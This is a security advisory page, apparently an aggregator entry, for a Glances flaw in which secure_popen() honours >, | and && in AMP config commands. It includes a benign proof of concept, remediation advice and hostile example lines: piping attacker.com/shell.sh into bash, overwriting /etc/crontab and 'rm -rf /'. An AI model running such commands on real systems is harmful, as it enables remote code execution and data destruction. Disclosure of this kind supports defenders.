Severity by source
AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Requires local write access to glances.conf (PR:L) but no user interaction; the operator parsing yields arbitrary file write and command execution as the Glances user, giving full C/I/A impact.
Primary rating from Vendor (https://github.com/nicolargo/glances).
CVSS VectorVendor: https://github.com/nicolargo/glances
Lifecycle Timeline
2DescriptionCVE.org
Summary
The secure_popen() function in glances/secure.py interprets > (file redirection), | (pipe), and && (command chaining) operators in command strings. These operators are applied without any validation on the target file path, piped command, or chained command.
When Application Monitoring Process (AMP) modules load their command or service_cmd configuration values from glances.conf, those values are passed directly to secure_popen() with no sanitization. This allows an attacker who can modify the Glances configuration file to write arbitrary content to arbitrary filesystem paths (via >), chain arbitrary commands (via &&), or pipe command output to arbitrary programs (via |).
Crucially, this vulnerability is not mitigated by the --disable-config-exec flag that was introduced to address CVE-2026-33641. That flag only disables backtick command execution in config.get_value(); it does not affect the secure_popen() function's interpretation of shell-like operators.
Details
Affected code path 1 - Default AMP (glances/amps/default/__init__.py:69)
res = self.get('command')
# ...
self.set_result(secure_popen(res).rstrip())The command config value is loaded from [amp_<name>] sections via GlancesAmp.load_config() (glances/amps/amp.py:81):
self.configs[param] = config.get_value(amp_section, param).split(',')Affected code path 2 - SystemV AMP (glances/amps/systemv/__init__.py:60)
res = secure_popen(self.get('service_cmd'))The service_cmd config value is loaded from [amp_systemv] sections via the same GlancesAmp.load_config() method.
Sink - secure_popen() (glances/secure.py:33-77)
The function explicitly parses:
>for file redirection (line 39):cmd.split('>')- the path after>is used directly inopen(stdout_redirect, "w")(line 71) with no path validation.|for command piping (line 51):cmd.split('|')- each segment is executed as a separatePopenwith stdout piped to the next.&&for command chaining (line 27 insecure_popen):cmd.split('&&')- each segment is executed sequentially.
None of these operators are sanitized or restricted when loading AMP configuration values.
Why --disable-config-exec does not help:
The --disable-config-exec flag (introduced for CVE-2026-33641) only prevents system_exec() from running backtick-embedded commands in config.get_value(). It does not affect how the resulting string value is processed by secure_popen(). A command value like echo data > /etc/crontab contains no backticks and passes through get_value() unchanged, then secure_popen() interprets the > operator and writes to the arbitrary path.
PoC
Clean-checkout recipe:
- Create a test configuration file:
cat > /tmp/poc-glances.conf << 'EOF'
[amp_poc]
enable=true
regex=.*
refresh=3
command=echo POC_ARBITRARY_FILE_WRITE > /tmp/cve-poc-marker-amp
[outputs]
cors_origins=*
EOF- Run a Python script that simulates the AMP command execution path:
import sys
sys.path.insert(0, '/path/to/glances')
from glances.config import Config
from glances.secure import secure_popen
import os
# Load config with --disable-config-exec ACTIVE (CVE-2026-33641 mitigation)
config = Config(config_dir='/tmp/poc-glances.conf', disable_config_exec=True)
# Read AMP command value (same as amp.py load_config)
command = config.get_value('amp_poc', 'command')
print(f'Command: {command!r}')
# Execute (same as amps/default/__init__.py line 69)
marker = '/tmp/cve-poc-marker-amp'
assert not os.path.exists(marker), 'Clean state required'
result = secure_popen(command)
print(f'Result: {result!r}')
# Verify arbitrary file write occurred
assert os.path.exists(marker), 'VULNERABILITY NOT CONFIRMED'
with open(marker) as f:
content = f.read()
print(f'Written to {marker}: {content!r}')
assert 'POC_ARBITRARY_FILE_WRITE' in content
# Cleanup
os.remove(marker)
print('CONFIRMED: Arbitrary file write via secure_popen > in AMP command')Expected vulnerable output:
Command: 'echo POC_ARBITRARY_FILE_WRITE > /tmp/cve-poc-marker-amp'
Result: 'POC_ARBITRARY_FILE_WRITE\n'
Written to /tmp/cve-poc-marker-amp: 'POC_ARBITRARY_FILE_WRITE\n'
CONFIRMED: Arbitrary file write via secure_popen > in AMP commandNegative/control case (demonstrating --disable-config-exec only blocks backticks):
# This IS blocked by --disable-config-exec:
# command=`rm -rf /` → get_value() skips backtick execution
# This is NOT blocked by --disable-config-exec:
# command=echo data > /etc/crontab → secure_popen writes to /etc/crontabCleanup:
rm -f /tmp/poc-glances.conf /tmp/cve-poc-marker-ampImpact
An attacker who can modify glances.conf (e.g., through a separate file-write vulnerability, a misconfigured shared filesystem, a configuration management system, or a container volume mount) can:
- Write arbitrary content to arbitrary files via the
>operator - e.g., overwriting/etc/crontab,~/.ssh/authorized_keys, or any file writable by the Glances process user. - Execute arbitrary commands via the
&&and|operators - e.g.,echo x && curl http://attacker.com/shell.sh | bash. - Exfiltrate data via the
|operator piping command output to network utilities.
The existing --disable-config-exec mitigation for CVE-2026-33641 does not protect against this vulnerability because it operates at a different layer (config.get_value() backtick processing vs. secure_popen() operator interpretation).
Suggested remediation
- Remove file redirection support from
secure_popen()unless explicitly required. The>operator in__secure_popen()(lines 39-45, 69-72) writes to arbitrary paths. Consider removing this feature or restricting output paths to a safe directory (e.g., a configured output directory with path traversal protection). - Sanitize AMP command values before passing them to
secure_popen(). Apply the same sanitization used inactions.py:_sanitize_mustache_dict()to strip&&,|,>>, and>from AMP command and service_cmd config values, or refuse to execute commands containing these operators. - Consider replacing
secure_popen()withsubprocess.run(shell=False)using explicit argument arrays. Thesecure_popen()function reimplements shell-like operator parsing (&&,|,>) which is inherently risky. Standardsubprocess.run()withshell=Falseand an explicit argument list avoids this class of vulnerability entirely. - Add a regression test that verifies AMP commands cannot contain file redirection or command chaining operators.
AnalysisAI
Arbitrary file write and command execution in Glances (Python system monitoring tool) versions 4.0.8 through 4.5.4 allows attackers with the ability to modify glances.conf to abuse shell-like operators (>, |, &&) interpreted by the secure_popen() function inside AMP module command configuration. The flaw bypasses the --disable-config-exec mitigation introduced for CVE-2026-33641, since that flag only blocks backtick execution in config.get_value() and not operator parsing in secure_popen(). Publicly available exploit code exists in the GitHub Security Advisory (GHSA-3vwc-qwhc-3mj7), but no public exploit identified in active campaigns at time of analysis.
Technical ContextAI
Glances is a cross-platform Python-based system monitoring tool (pkg:pip/glances) that supports Application Monitoring Process (AMP) modules whose command and service_cmd values are read from glances.conf and dispatched through a custom secure_popen() helper in glances/secure.py. Rather than calling subprocess.run(shell=False, args=[...]) with an argument vector, secure_popen() re-implements shell-like parsing by splitting the input on &&, |, and > - using the substring after > directly in open(path, 'w') with no path validation. This places the vulnerability in CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) territory, but with effective command-injection (CWE-77/78) consequences because chained and piped segments are also executed. The root cause is treating untrusted configuration data as a mini shell language inside what is intended to be a safer subprocess wrapper.
RemediationAI
Vendor-released patch: upgrade Glances to version 4.5.5 or later (https://github.com/nicolargo/glances/releases/tag/v4.5.5), which also addresses CVE-2026-46606, CVE-2026-46607, CVE-2026-46608, and CVE-2026-46611 shipped in the same release. If immediate upgrade is not possible, tightly restrict filesystem permissions on glances.conf so only the Glances service account can write it (chmod 600, owned by a non-root user), avoid mounting glances.conf from untrusted volumes in container deployments, and remove or comment out any [amp_*] sections (especially command= and service_cmd= keys) that are not strictly required - disabling unused AMP modules eliminates the sink reachability. Note that the existing --disable-config-exec flag does NOT mitigate this issue and should not be relied upon. Where AMP monitoring must remain enabled, audit every command / service_cmd value for the characters >, |, and && and reject any config that contains them; the side effect is that legitimate piped/chained monitoring commands will need to be rewritten as wrapper scripts.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Same weakness CWE-22 – Path Traversal
View allSame technique Path Traversal
View allVendor StatusVendor
SUSE
Severity: Important| Product | Status |
|---|---|
| openSUSE Tumbleweed | Fixed |
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-39518
GHSA-3vwc-qwhc-3mj7